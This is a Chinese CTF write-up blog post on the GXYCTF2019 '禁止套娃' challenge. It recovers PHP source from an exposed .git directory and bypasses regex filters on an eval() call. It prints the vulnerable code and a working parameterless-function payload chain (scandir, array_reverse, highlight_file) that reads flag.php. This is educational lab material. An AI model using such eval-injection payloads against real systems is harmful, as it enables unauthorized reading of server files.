CTF笔记——[GXYCTF2019]禁止套娃 1

[GXYCTF2019]禁止套娃1

打开题目之后什么都没看到

所以进行常规的检测漏洞,扫描目录发现存在.git文件夹下的文件存在

# Dirsearch started Sun Mar 10 15:19:39 2024 as: D:\Python\Scripts\dirsearch -u http://849b4a98-3df3-4abb-927e-1a358a178e30.node5.buuoj.cn:81/ -x 429 -i 200 -t 5

200    73B   http://849b4a98-3df3-4abb-927e-1a358a178e30.node5.buuoj.cn:81/.git/description

于是尝试使用GitHack还原源代码

<?php

include "flag.php";

echo "flag在哪里呢?<br>";

if(isset($_GET['exp']))

{

    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp']))

    {             //不允许使用php协议

        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))

        {                   //替换为空字符,匹配的形式是形如a();的无参数的表达式

            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp']))

            {

                // echo $_GET['exp'];

                @eval($_GET['exp']);

            }

            else

            {

                die("还差一点哦!");

            }

        }

        else

        {

            die("再好好想想!");

        }

    }

    else

    {

        die("还想读flag,臭弟弟!");

    }

}

// highlight_file(__FILE__);

  

?>

使用了正则表达式来过滤,这里其他的都好说,但是嵌套正则表达式(?R)?有点不懂了
下边是AI的解答:

这是一个递归正则表达式,用来匹配嵌套的括号里的内容:

  • [a-z,_]+匹配一个或多个字母、下划线或逗号
  • (匹配开括号
  • (?R)?匹配嵌套的正则表达式本身,?表示0或1次
  • )匹配闭括号
  • 括号内无参数

所以整体匹配的格式是:

字母/下划线/逗号 + 开括号 + (嵌套的相同格式 0或1次) + 闭括号

举个例子:

它可以匹配:

func(func()) name(_name()) list(list(1,2),3)

但不能匹配没有正确匹配括号的情况,如:

func() name(func

也就是说它可以匹配任意深度的嵌套括号内的名称,但括号必须正确嵌套匹配。

下边举几个蚕豆让大家理解一下:
以下的几种形式都是可以通过正则匹配的:

hello();
hello(world());
hey(hey(hjgf()));
var_dump(pos(scandir()));

下一阶段,咱们知道是要读取flag.php,所以我们要借助eval函数读取

注:
localeconv() 函数返回一个包含本地数字及货币格式信息的数组,该数组的第一个元素就是"."。

var_dump(localeconv());
结果如下
array(18) 
{ 
["decimal_point"]=> string(1) "." 
["thousands_sep"]=> string(0) "" 
["int_curr_symbol"]=> string(0) "" 
["currency_symbol"]=> string(0) "" 
["mon_decimal_point"]=> string(0) "" 
["mon_thousands_sep"]=> string(0) "" 
["positive_sign"]=> string(0) "" 
["negative_sign"]=> string(0) "" 
["int_frac_digits"]=> int(127) 
["frac_digits"]=> int(127) 
["p_cs_precedes"]=> int(127) 
["p_sep_by_space"]=> int(127) 
["n_cs_precedes"]=> int(127) 
["n_sep_by_space"]=> int(127) 
"p_sign_posn"]=> int(127) 
["n_sign_posn"]=> int(127) 
["grouping"]=> array(0) { } 
["mon_grouping"]=> array(0) { } 
}

可以发现localeconv()函数返回的数组中的第一个元素是.也就是可以利用的地方了

?exp=var_dump(scandir(pos(localeconv())));

注:
scandir() 函数返回指定目录中的文件和目录的数组。
pos() 输出数组中的当前元素的值。

array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(4) ".git" [3]=> string(8) "flag.php" [4]=> string(9) "index.php" }

发现咱们想要的内容其实不在第一个但是在倒数第二个,所以咱们可以倒序输出第二个

?exp=var_dump(next(array_reverse(scandir(pos(localeconv())))));

注:
next() 输出数组中的当前元素和下一个元素的值。
array_reverse() 函数以相反的元素顺序返回数组。(主要是能返回值)
所以说必须要好好学习php的数组操作了

结果如下:

string(8) "flag.php"

之后使用highlight_file()显示文件的内容来得到flag

?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
<?php  
$flag = "flag{73a380bb-591f-4805-a4a2-b713f696869c}";  
?>
posted @ 2024-03-15 11:01  北寒带  阅读(426)  评论(0编辑  收藏  举报